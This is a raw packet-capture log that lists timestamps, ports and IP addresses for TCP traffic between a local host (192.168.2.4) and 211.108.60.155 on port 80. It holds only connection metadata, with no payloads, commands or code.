Jul 6, 2024 14:10:13.351187944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351211071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351232052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351350069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351365089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351378918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351408005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351416111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351416111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351429939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351449013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351463079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351469994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351480007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351507902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351661921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351675034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351707935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351720095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351757050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351795912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351830006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351844072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351871014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351881027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.351939917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.351984024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352051020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352063894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352077961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352097988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352109909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352160931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352199078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352247000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352282047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352303982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352334976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352345943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352371931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352435112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352474928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352478981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352499962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352525949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352543116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352612019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352669954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352679014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352705956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352871895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352933884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352940083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352953911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.352974892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.352992058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353020906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353066921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353113890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353128910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353157043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353168011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353202105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353238106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353266954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353279114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353303909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353351116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353387117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353424072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353466034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353466034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353502989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353502989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353543997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353559971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353571892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353602886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353627920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353671074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353682995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.353708029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.353718042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354166985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354221106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354243040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354275942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354280949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354347944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354362011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354371071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354376078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354381084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354401112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354414940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354433060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354470015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354501009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354557991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354633093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354677916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354685068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354698896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354739904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354754925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354777098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354789019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354813099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354882956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354898930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.354918003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.354938030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.561891079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.561937094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.561952114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.561959982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.561974049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.561975002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.561989069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562004089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562004089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562022924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562022924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562036991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562061071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562089920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562125921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562139034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562174082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562294006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562331915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562335014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562412977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562457085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562468052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562490940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562509060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562513113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562526941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562546015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562611103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562623978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562664986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562705994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562738895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562757015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562803030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562829971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562843084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562880993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.562971115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.562983036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563019037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563103914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563116074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563148975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563189983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563302994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563332081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563344002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563364983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563370943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563401937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563453913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563493967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563498020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563508987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563530922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563561916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563581944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563595057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563616037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563631058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563647985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563702106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563729048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563752890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563766956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563785076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563883066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.563922882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.563935041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564013004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564026117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564064980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564116955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564130068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564152956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564168930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564325094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564359903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564364910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564403057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564441919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564460039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564584017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564596891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564630985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564639091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564702034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564739943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564784050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564796925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564817905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564832926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564853907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564896107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564930916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.564933062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.564963102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565124989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565151930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565166950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565180063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565220118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565249920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565256119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565284967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565323114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565361023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565418005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565433025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565452099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565464020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565504074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565599918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565635920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565650940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565675020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565702915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565721035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565733910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565766096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565844059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565855980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.565884113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.565892935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566072941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566128016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566142082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566169024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566188097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566301107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566330910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566343069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566364050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566370010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566384077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566396952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566461086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566473961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566509962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566549063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566581964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566595078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566637039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566668034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566679955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566699028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.566761017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566786051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.566819906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.567081928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.567150116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.567152977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.567181110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756052017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756091118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756119013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756124020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756134987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756151915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756160975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756160975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756170988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756175995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756191969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756216049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756216049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756232023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756256104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756269932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756283998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756287098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756299973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756306887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756325960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756352901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756498098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756530046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756540060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756545067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756565094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756582022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756738901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756772995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756789923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.756794930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756812096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.756824970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757046938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757090092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757101059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757116079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757134914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757154942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757255077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757394075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757407904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757438898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757481098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757652044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757707119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757729053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757747889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757764101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757767916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757776976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757801056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757877111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757916927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.757946968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.757961988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758001089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758121014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758166075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758174896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758179903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758218050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758292913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758327961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758335114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758363962 CEST	49732	80	192.168.2.4	211.108.60.155
